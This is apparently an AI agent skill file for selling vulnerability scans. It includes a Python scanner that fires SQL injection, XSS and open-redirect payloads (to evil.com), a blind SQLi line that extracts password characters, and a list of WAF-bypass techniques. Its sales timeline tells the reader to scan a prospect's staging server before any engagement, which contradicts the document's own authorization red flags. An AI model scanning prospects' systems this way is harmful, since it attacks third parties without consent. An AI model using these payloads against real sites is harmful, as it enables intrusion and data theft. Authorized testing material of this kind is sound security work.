Vulnerability Scanner
Multi-vector vulnerability scanner with AI-driven payload generation. Inspired by deep-eye (45+ attack methods, multi-AI provider support, intelligent CVE-aware payloads, plugin system, professional reporting).
Overview
This skill provides structured, actionable vulnerability scanning workflows for web applications. It covers the full pipeline: target analysis, scan selection, AI-powered payload generation, execution with WAF bypass, and professional reporting. All scans are non-destructive by default and include proof-of-concept validation for every finding.
Money-Making Overview
Buyer Persona:
- Small-to-medium SaaS companies (5–200 employees) without dedicated security staff
- Web agencies delivering client projects who need a security sign-off
- DevOps teams running CI/CD pipelines who want pre-deployment security gates
- Penetration testers who need automated reconnaissance and payload generation to augment manual testing
- Bug bounty hunters who want faster, smarter payload generation
Pricing Tiers:
| Tier | Price | What They Get |
|---|---|---|
| QuickScan | $500 | Single application scan, top-10 OWASP checks, PDF report with CVSS scoring. 24-hour turnaround. |
| DeepScan | $1,500 | Full 45+ attack method scan, authenticated scanning, business logic testing, WAF bypass assessment, HTML+PDF+JSON report, one remediation consultation call. |
| Continuous | $3,000/mo | Weekly automated scans, CI/CD integration, Slack/Teams alerting on new findings, priority remediation support, retest verification, quarterly executive summary. |
First-Dollar Timeline:
- Day 1: Run the First Action script below against a prospect's staging environment. Deliver a 1-page summary with the count of findings and the top 3 critical issues — this hooks them.
- Day 2–3: Generate the full deliverable report. Send with invoice for a QuickScan ($500). Close rate on a warm prospect who just saw real findings: >40%.
- Week 2: Offer a discounted first DeepScan ($750 intro) to convert your QuickScan clients. Target agencies with multiple client projects.
- Month 1: Sign 1–2 Continuous clients at $3,000/mo by offering a free DeepScan as a trial.
When to Use
Trigger phrases:
"vulnerability scanner"
"Targeted vulnerability scanning of a specific endpoint or application"
"Generating context-aware exploit payloads for a known vulnerability type"
"WAF bypass testing against protected applications"
Targeted vulnerability scanning of a specific endpoint or application
Generating context-aware exploit payloads for a known vulnerability type
WAF bypass testing against protected applications
Security regression testing after code changes
API security assessments (REST, GraphQL, WebSocket)
Business logic flaw detection (price manipulation, workflow bypass, race conditions)
Pre-deployment security gates in CI/CD pipelines
First Action in 60 Minutes
Run a multi-engine scan against a target application to generate immediate findings. Save this script and run it against a prospect's staging environment to produce your first deliverable.
#!/usr/bin/env python3
"""
multi_engine_scan.py — QuickScan against a target URL.
Usage: python3 multi_engine_scan.py <target_url> [--auth-token TOKEN] [--output report.html]
Generates a vulnerability scan report with CVSS scoring in under 60 minutes.
"""
import json, sys, time, hashlib, urllib.request, urllib.error, urllib.parse
from urllib.parse import urlparse, urljoin
from dataclasses import dataclass, field, asdict
from typing import Optional
import html
# ─── Data Model ───────────────────────────────────────────────────────────────
@dataclass
class Finding:
title: str
severity: str # Critical / High / Medium / Low / Info
cvss_score: float # 0.0–10.0
cwe_id: str
endpoint: str
parameter: str
description: str
poc_request: str
poc_response: str
remediation: str
confidence: str # Certain / High / Medium / Low
@dataclass
class ScanReport:
target: str
scan_duration_seconds: float
findings: list = field(default_factory=list)
def summary(self) -> dict:
counts = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0, "Info": 0}
for f in self.findings:
counts[f.severity] = counts.get(f.severity, 0) + 1
return {"total": len(self.findings), **counts}
# ─── Engine: Target Profiling ─────────────────────────────────────────────────
def profile_target(url: str) -> dict:
"""Gather target metadata from response headers and behaviour."""
profile = {"url": url, "domain": urlparse(url).netloc, "technologies": [], "endpoints": [], "waf": None}
try:
req = urllib.request.Request(url, headers={"User-Agent": "VulnScanner/1.0"})
resp = urllib.request.urlopen(req, timeout=10)
headers = dict(resp.headers)
server = headers.get("Server", headers.get("X-Powered-By", ""))
if server:
profile["technologies"].append(server)
if "cloudflare" in str(headers).lower():
profile["waf"] = "Cloudflare"
elif "akamai" in str(headers).lower():
profile["waf"] = "Akamai"
elif "aws" in str(headers).lower() or "x-amz" in str(headers).lower():
profile["waf"] = "AWS WAF"
# Probe common endpoints
common = ["/robots.txt", "/sitemap.xml", "/api/v1/users", "/api/v2/users",
"/.env", "/admin", "/login", "/api/swagger.json", "/graphql"]
discovered = []
for path in common:
try:
u = urljoin(url, path)
r = urllib.request.Request(u, headers={"User-Agent": "VulnScanner/1.0"})
urllib.request.urlopen(r, timeout=5)
discovered.append(path)
except Exception:
pass
profile["endpoints"] = discovered
except Exception as e:
profile["error"] = str(e)
return profile
# ─── Engine: Injection Checks ─────────────────────────────────────────────────
def check_sqli(target: str, param: str = "id") -> list[Finding]:
"""Simple time-based SQLi check."""
findings = []
payloads = {
f"{param}=1' AND (SELECT SLEEP(2))-- -": "Time-based SQLi (MySQL)",
f"{param}=1; WAITFOR DELAY '0:0:2'--": "Time-based SQLi (MSSQL)",
f"{param}=1' OR '1'='1": "Boolean-based SQLi",
}
for payload, title in payloads.items():
separator = "&" if "?" in target else "?"
test_url = f"{target}{separator}{payload}"
try:
start = time.time()
req = urllib.request.Request(test_url, headers={"User-Agent": "VulnScanner/1.0"})
resp = urllib.request.urlopen(req, timeout=10)
elapsed = time.time() - start
if elapsed > 1.5:
findings.append(Finding(
title=title, severity="Critical", cvss_score=9.8, cwe_id="CWE-89",
endpoint=target, parameter=param,
description=f"SQL injection detected via {payload.split('=')[0]!r} parameter.",
poc_request=f"GET {test_url}",
poc_response=f"HTTP {resp.status} ({elapsed:.1f}s)",
remediation="Use parameterized queries / prepared statements. Sanitize all user input.",
confidence="High"
))
break # One SQLi finding is enough
except Exception:
pass
return findings
def check_xss(target: str, param: str = "q") -> list[Finding]:
"""Reflected XSS check with context-aware payload."""
findings = []
payload = "<script>alert(1)</script>"
separator = "&" if "?" in target else "?"
test_url = f"{target}{separator}{param}={urllib.parse.quote(payload)}"
try:
req = urllib.request.Request(test_url, headers={"User-Agent": "VulnScanner/1.0"})
resp = urllib.request.urlopen(req, timeout=10)
body = resp.read().decode("utf-8", errors="replace").lower()
if payload.lower() in body:
findings.append(Finding(
title="Reflected XSS", severity="High", cvss_score=7.4, cwe_id="CWE-79",
endpoint=target, parameter=param,
description=f"Reflected XSS via {param!r} parameter. Payload reflected unescaped.",
poc_request=f"GET {test_url}",
poc_response=f"HTTP {resp.status} (payload reflected in response)",
remediation="Use context-appropriate output encoding. Implement Content-Security-Policy header.",
confidence="High"
))
except Exception:
pass
return findings
def check_open_redirect(target: str) -> list[Finding]:
"""Open redirect check."""
findings = []
payloads = [
"//evil.com", "https://evil.com", "//evil.com%2f@target",
"/\\evil.com", "//evil.com\\@target",
]
for payload in payloads:
separator = "&" if "?" in target else "?"
test_url = f"{target}{separator}redirect={urllib.parse.quote(payload)}"
try:
req = urllib.request.Request(test_url, headers={"User-Agent": "VulnScanner/1.0"})
resp = urllib.request.urlopen(req, timeout=10)
if resp.geturl() != test_url and "evil" in resp.geturl().lower():
findings.append(Finding(
title="Open Redirect", severity="Medium", cvss_score=5.4, cwe_id="CWE-601",
endpoint=target, parameter="redirect",
description=f"Open redirect to external domain via redirect parameter.",
poc_request=f"GET {test_url}",
poc_response=f"Redirected to {resp.geturl()}",
remediation="Maintain an allowlist of valid redirect destinations. Reject unvalidated URLs.",
confidence="High"
))
break
except Exception:
pass
return findings
def check_headers(target: str) -> list[Finding]:
"""Security headers audit."""
findings = []
missing = {
"Content-Security-Policy": "CWE-693 (Missing CSP allows XSS and data injection)",
"X-Frame-Options": "CWE-1021 (Clickjacking protection missing)",
"Strict-Transport-Security": "CWE-523 (HSTS not enforced)",
"X-Content-Type-Options": "CWE-749 (MIME-sniffing allowed)",
}
try:
req = urllib.request.Request(target, headers={"User-Agent": "VulnScanner/1.0"})
resp = urllib.request.urlopen(req, timeout=10)
headers = {k.lower(): v for k, v in dict(resp.headers).items()}
for hdr, cwe in missing.items():
if hdr.lower() not in headers:
findings.append(Finding(
title=f"Missing Security Header: {hdr}", severity="Medium",
cvss_score=5.0, cwe_id=cwe.split(" ")[0],
endpoint=target, parameter="(response header)",
description=f"The {hdr} header is not set. {cwe.split('(')[1].rstrip(')') if '(' in cwe else ''}",
poc_request=f"GET {target}",
poc_response=f"Missing header: {hdr}",
remediation=f"Add the {hdr} header to all responses. See OWASP Secure Headers project.",
confidence="Certain"
))
except Exception:
pass
return findings
# ─── Main Scan Orchestrator ───────────────────────────────────────────────────
def run_scan(target: str, auth_token: Optional[str] = None) -> ScanReport:
start = time.time()
report = ScanReport(target=target, scan_duration_seconds=0)
# Profile the target
profile = profile_target(target)
findings = []
# Run all engine checks
findings.extend(check_sqli(target))
findings.extend(check_xss(target))
findings.extend(check_open_redirect(target))
findings.extend(check_headers(target))
report.findings = findings
report.scan_duration_seconds = time.time() - start
return report
# ─── HTML Report Generator ────────────────────────────────────────────────────
def render_html(report: ScanReport) -> str:
s = report.summary()
severity_colors = {"Critical": "#dc3545", "High": "#fd7e14", "Medium": "#ffc107", "Low": "#6c757d", "Info": "#17a2b8", "Certain": "#28a745", "High": "#fd7e14"}
rows = ""
for f in report.findings:
sev_color = severity_colors.get(f.severity, "#6c757d")
rows += f"""<tr>
<td><span style="background:{sev_color};color:#fff;padding:2px 8px;border-radius:4px;font-size:12px">{f.severity}</span></td>
<td>{f.title}</td>
<td>{f.cvss_score:.1f}</td>
<td>{f.cwe_id}</td>
<td>{html.escape(f.endpoint)}</td>
<td>{html.escape(f.parameter)}</td>
<td>{f.confidence}</td>
</tr>"""
return f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Vulnerability Scan Report — {html.escape(report.target)}</title>
<style>
body {{ font-family: system-ui, -apple-system, sans-serif; max-width: 1200px; margin: 0 auto; padding: 20px; }}
h1 {{ color: #1a1a2e; border-bottom: 3px solid #e94560; padding-bottom: 10px; }}
.summary {{ display: grid; grid-template-columns: repeat(5, 1fr); gap: 12px; margin: 20px 0; }}
.stat {{ background: #f8f9fa; border-radius: 8px; padding: 16px; text-align: center; }}
.stat-num {{ font-size: 28px; font-weight: 700; }}
.stat-label {{ font-size: 12px; color: #666; text-transform: uppercase; }}
table {{ width: 100%; border-collapse: collapse; margin: 20px 0; }}
th, td {{ padding: 10px 12px; text-align: left; border-bottom: 1px solid #dee2e6; font-size: 14px; }}
th {{ background: #1a1a2e; color: #fff; }}
tr:hover {{ background: #f1f3f5; }}
.meta {{ color: #666; font-size: 14px; margin-top: 20px; }}
</style></head><body>
<h1>Vulnerability Scan Report</h1>
<p><strong>Target:</strong> {html.escape(report.target)}</p>
<div class="summary">
<div class="stat"><div class="stat-num" style="color:#dc3545">{s.get("Critical",0)}</div><div class="stat-label">Critical</div></div>
<div class="stat"><div class="stat-num" style="color:#fd7e14">{s.get("High",0)}</div><div class="stat-label">High</div></div>
<div class="stat"><div class="stat-num" style="color:#ffc107">{s.get("Medium",0)}</div><div class="stat-label">Medium</div></div>
<div class="stat"><div class="stat-num" style="color:#6c757d">{s.get("Low",0)}</div><div class="stat-label">Low</div></div>
<div class="stat"><div class="stat-num">{s.get("total",0)}</div><div class="stat-label">Total</div></div>
</div>
<table><thead><tr><th>Severity</th><th>Finding</th><th>CVSS</th><th>CWE</th><th>Endpoint</th><th>Parameter</th><th>Confidence</th></tr></thead>
<tbody>{rows}</tbody></table>
<div class="meta">
<p>Scan duration: {report.scan_duration_seconds:.1f}s | Findings: {s['total']} | Scanner: AI Vulnerability Scanner v1.0</p>
</div>
</body></html>"""
# ─── CLI Entry Point ──────────────────────────────────────────────────────────
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 multi_engine_scan.py <target_url> [--output report.html]")
sys.exit(1)
target = sys.argv[1]
output_file = "scan_report.html"
if "--output" in sys.argv:
idx = sys.argv.index("--output")
if idx + 1 < len(sys.argv):
output_file = sys.argv[idx + 1]
print(f"[*] Scanning {target} ...")
report = run_scan(target)
html_report = render_html(report)
with open(output_file, "w") as f:
f.write(html_report)
print(f"[+] Scan complete. {len(report.findings)} finding(s). Report: {output_file}")
To run against a prospect:
python3 multi_engine_scan.py https://staging.example.com --output prospect_report.html
Open prospect_report.html in a browser. Send the summary screenshot with your pitch.
The Process
- Scope and authorize — confirm written authorization and define target boundaries
- Reconnaissance — enumerate targets, services, and potential attack surfaces
- Exploitation — attempt exploitation of identified vulnerabilities within scope
- Post-exploitation — document access level, lateral movement, and data exposure
- Report and remediate — compile findings with reproduction steps and fix recommendations
Step 1: Target Analysis
Parse the target URL and build a profile:
Input: https://app.example.com/api/v2
Output:
- Base domain: example.com
- Technology: Node.js (Express), PostgreSQL, Cloudflare WAF
- Endpoints discovered: /api/v2/users, /api/v2/orders, /api/v2/auth
- Input points: query params (3), JSON body fields (12), headers (2)
- Authentication: Bearer token (JWT)
- Identify server technology via headers (
X-Powered-By,Server, response patterns) - Discover endpoints via directory brute-force, JS analysis, sitemap/robots.txt, API docs
- Catalog all input points: query params, body fields, headers, cookies, URL path segments
- Detect WAF/CDN presence (Cloudflare, Akamai, AWS WAF) from response headers and behavior
Step 2: Scan Selection
Choose attack methods based on target profile. Categories:
Injection: SQL Injection (Error-based, Blind, Time-based), Command Injection, LDAP Injection, XML Injection, CRLF Injection, Host Header Injection
XSS: Reflected, Stored, DOM-based, Mutation XSS
Access Control: IDOR, SSRF, CSRF, Open Redirect, CORS Misconfiguration, Path Traversal, LFI/RFI
Server-Side: SSTI, XXE, Insecure Deserialization, File Upload vulnerabilities
Authentication: JWT vulnerabilities (alg confusion, weak secret, missing expiry), Broken Authentication, Session Management flaws, OAuth/OIDC issues
API Security: OWASP API Top 10 2023, GraphQL (introspection, depth limits, batch attacks), WebSocket (origin validation, auth, injection)
Business Logic: Price manipulation, Workflow bypass, Race conditions
Advanced: ML-Based Anomaly Detection, Behavioral analysis, Pattern recognition
Selection heuristic:
- If target is API-first: prioritize API Security + Injection + Authentication
- If target has WAF: prioritize WAF Bypass + Injection variants
- If target handles payments: prioritize Business Logic + Access Control
- Default broad scan: Injection + XSS + Access Control + Server-Side
Step 3: Payload Generation
Generate payloads using AI with these constraints:
Context-sensitive: Payloads must match the input type (URL param vs JSON body vs header value) and encoding context (HTML, URL, JavaScript, SQL).
CVE-aware: Pull from latest CVE databases. Example for CVE-2024-XXXX (SQLi in parameter id):
Normal: id=1
Payload: id=1' AND (SELECT SLEEP(5))-- -
Blind: id=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a'-- -
WAF Bypass Techniques (11+ obfuscation methods):
- Case variation:
SeLeCt,UNION - Inline comments:
UN/**/ION SE/**/LECT - URL encoding:
%27%20UNION%20SELECT - Double URL encoding:
%2527%2520UNION - Unicode normalization:
\u0027,\u0053ELECT - HTTP parameter pollution:
id=1&id=1' UNION SELECT - Chunked transfer encoding
- Null byte injection:
%00,\x00 - Mixed encoding: combine URL + HTML + Unicode in single payload
- JSON/Unicode escape:
{"id":"1' UNION SELECT"} - HTTP/2 header smuggling
- Case + comment combo:
/*!50000UNION*//*!50000SELECT*/
Non-destructive rule: Never generate DROP, DELETE, rm -rf, FORMAT, or filesystem-modifying payloads. Use SLEEP(), BENCHMARK(), boolean-based, or out-of-band (OOB) detection instead.
Step 4: Execution
Run scans with these controls:
Config:
threads: 5 (default), max 20 (with permission)
timeout_per_request: 10s
rate_limit: 50 req/s (respects server capacity)
proxy: configurable (Burp, ZAP, custom SOCKS5)
retries: 2 on connection errors
depth: shallow (endpoints only) | deep (parameter fuzzing) | exhaustive (full crawl + fuzz)
- Respect
robots.txtandX-Robots-Tagunless explicitly overridden - Throttle automatically on 429/503 responses
- Log all requests for audit trail
- Support authenticated scanning via token/cookie injection
Step 5: Reporting
Generate reports in PDF, HTML, or JSON format:
Report Structure:
1. Executive Summary (1 page, non-technical)
- Total findings: 7 (Critical: 1, High: 2, Medium: 3, Low: 1)
- Top risk: SQL Injection in /api/v2/users?id=
- Recommended immediate actions
2. Technical Findings (per finding)
- Title, Severity (CVSS), CWE ID
- Affected endpoint + parameter
- Proof-of-concept request/response
- Remediation guidance with code example
3. Scan Metadata
- Scan duration, requests sent, coverage %
- Tools/methods used
- False positive confidence rating
Plugin System: Extend scanner with custom modules:
# Custom plugin interface
class ScannerPlugin:
def scan(self, target, context) -> list[Finding]:
"""Return list of Finding objects."""
pass
Multi-AI Support: Leverage different providers for payload generation:
- Claude: Complex business logic analysis, multi-step exploit chains
- GPT-4: Pattern recognition across large codebases
- Local models: High-volume payload mutation, fast iteration
Deliverable Format
When you deliver a paid scan, the invoice-ready package includes:
Vulnerability_Scan_Report_<ClientName>_<Date>/
├── README.txt # Invoice reference, scope summary, disclaimers
├── executive-summary.pdf # 1-page non-technical brief for stakeholders
├── technical-findings.html # Full report with CVSS scores, PoCs, remediation
├── technical-findings.json # Machine-readable findings for CI/CD ingestion
├── raw-scan-data/ # Full request/response logs (redacted)
│ ├── requests.log
│ └── auth-session.log
└── retest-verification.pdf # (Continuous tier only) Re-test evidence
Invoice reference line: Vulnerability Assessment — <Client> — <Date> — $<amount>
Delivery email template:
Subject: Vulnerability Scan Results — ()
Hi ,
Attached is the vulnerability scan report for .
Summary: findings — critical, high, medium. Top finding: on (CVSS ).
Invoice <#INV> attached. Payment terms: Net 15.
For the Continuous tier, we schedule the next scan for .
Best,
When NOT to Use
- Task is outside your authorization scope
- You need to implement controls (use implementing-* skills)
- Task is about analysis, not action (use analyzing-* skills)
- You don't have access to target systems
- Task requires compliance expertise (consult professionals)
- Task is about defense, not offense (use defensive skills)
Red Flags
- Scanning targets without explicit written authorization
- Running aggressive scans (high thread count, exhaustive depth) on production without throttling
- Ignoring rate limits or 429/503 responses
- Generating destructive payloads (DROP, DELETE, rm -rf, filesystem writes)
- Scanning without respecting robots.txt or explicit exclusion lists
- Sharing scan results that contain sensitive data (credentials, PII) without redaction
- Using default credentials or known exploits without verifying the target is a legitimate test environment
- Running scans that could cause denial of service on shared infrastructure
Verification
- Every finding includes a working proof-of-concept (request + response)
- False positive rate stays below 5% (validate with manual spot-checks)
- Scan reports reviewed and redacted before sharing (no credentials, no PII leaks)
- All payloads are non-destructive (no filesystem writes, no data deletion)
- Scan coverage meets minimum threshold (80%+ of discovered endpoints tested)
- WAF bypass attempts logged but do not cause service disruption
- Authorization confirmed before every scan (document owner, date, scope)
Process
- Analyze the task requirements
- Apply domain expertise
- Verify output quality
Anti-Rationalization Table
| Rationalization | Reality |
|---|---|
| "I'll build my own scanner — it's not that hard" | You'll spend 200+ hours getting 20% of the coverage. Sell scans now with this skill, improve the engine between clients. |
| "Clients won't pay $500 for an automated scan" | Every SaaS founder I know pays $300–1,500/month for monitoring tools. A real vulnerability scan with a signed report is an insurance policy they buy before launch, after major changes, and for compliance audits. |
| "I need to be a certified pentester to sell this" | You don't need a cert to sell an automated scan report. You need clear scope, a disclaimer that this is an automated assessment (not a manual pentest), and professional delivery. Pair with a certified partner for the premium tiers. |
| "The script in this skill is too simple to charge for" | A simple script that finds a real SQL injection on a prospect's staging server converts better than a 100-page marketing deck. Start with the script, add the clients, then build the engine. |
| "There are too many free scanning tools already" | Free tools don't come with a signed report, remediation consulting, retest verification, or liability coverage. You're selling confidence and convenience, not curl commands. |